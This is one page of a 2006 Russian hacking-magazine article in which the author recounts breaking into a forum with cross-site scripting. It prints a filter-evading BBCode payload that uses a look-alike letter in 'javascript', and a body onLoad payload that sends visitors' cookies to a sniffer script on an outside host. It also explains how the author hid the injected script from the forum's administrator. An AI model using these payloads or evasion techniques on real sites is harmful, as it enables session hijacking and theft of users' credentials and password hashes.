Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #89, МАЙ 2006 г.

Денежный вид спорта

qwentyn (qwentyn@mail.ru)

Хакер, номер #089, стр. 089-072-2


Как я и рассчитывал с самого начала, все оказалось легко и просто, и использованный мною скрипт проскочил, но был вырезан фильтром форума. В доли секунды был запущен InetCrack, и часть слова javascript декодирована в десятичную кодировку. В итоге я получил «jàvascript», и скрипт для тестового локального алерта стал выглядеть следующим образом:

[color=indigo;background:url(jàvascrіpt:alert(document.cookie))][/color]

"Ура, все работает", - подумал я и принялся переделывать скрипт для отправки полученных значений куков на снифер. Как видишь, в куках у нас спокойно хранятся сессия, id пользователя и его md5 хэш, что не может не радовать. Ничего лишнего, без заморочек. При перекодировке слова javascript, было замечено, что ни одна комбинация, будь то jàvas c rіpt или jàvascrіpt, не хотела работать, и лишь только первоначально найденная мной золотая середина, выдавала тестовый алерт на ура!

Теперь же я принялся за составление запроса, отправляющего куки, на снифер, но, к моему великому удивлению, куки не шли. Не хотелось заморачиваться о причине происходящего, и я пополз колупать другие модули. Уязвимости-то есть, так зачем же останавливаться только на одной? К большому сожалению, возможность подгрузки XSS-скрипта через аватарку тут работать не захотела, парсеры в этой версии двига со своей задачей справились, поэтому был взят курс на личные сообщения (http://forum.antichat.ru/thread5796.html). Вот где-где, а тут я уже и не рассчитывал встретить дырки, так как насколько я помню, их убрали еще в самых первых версиях. Но как впоследствии оказалось, запретили только использовать слова «script» в title - оно парсилось, вставляя какую-то фигню в середину слова, но самое главное - ни скобки, ни кавычки, ни слеши не парсились! В течение одной минуты был сооружен и оттестирован на себе XSS-сплоит, без использовании слов script, java и пр. :

<body onLoad=img.src="http://site.com/sniff.php?"+document.cookie>

Думаю, что все ясно. Скажу несколько слов про админа. Он действительно оказался не простым парнем. Сначала забанил айпи одного из моих vpn-аккаунтов, потом постоянно писал мне приваты, все спрашивая, кто я такой, как попал на форум и откуда родом, потом звал пообщатся в чат.

И хотя вредоносного скрипта в списке сообщений видно не было, все работало отлично, но при ответе на сообщение он выдавал нас с головой. Учитывая то, что я вел активную переписку с админом, отвечая на его бредни, а он - на мои, допустить своего разоблачения я не мог. Приятная новость не заставила себя долго ждать. Помнишь, я говорил, что кавычки не парсятся. Так вот, именно одинарная кавычка, из-за плохого парсинга, позволила нам нарушить структуру тэга input и выйти за границы value, тем самым скрывая от глаза злобного админа вредоносный скрипт. Вот так вот мой сплоит и прорвался в дебри html-документа, оставшись при этом полность незамеченным:

Назад на стр. 089-072-1  Содержание  Вперед на стр. 089-072-3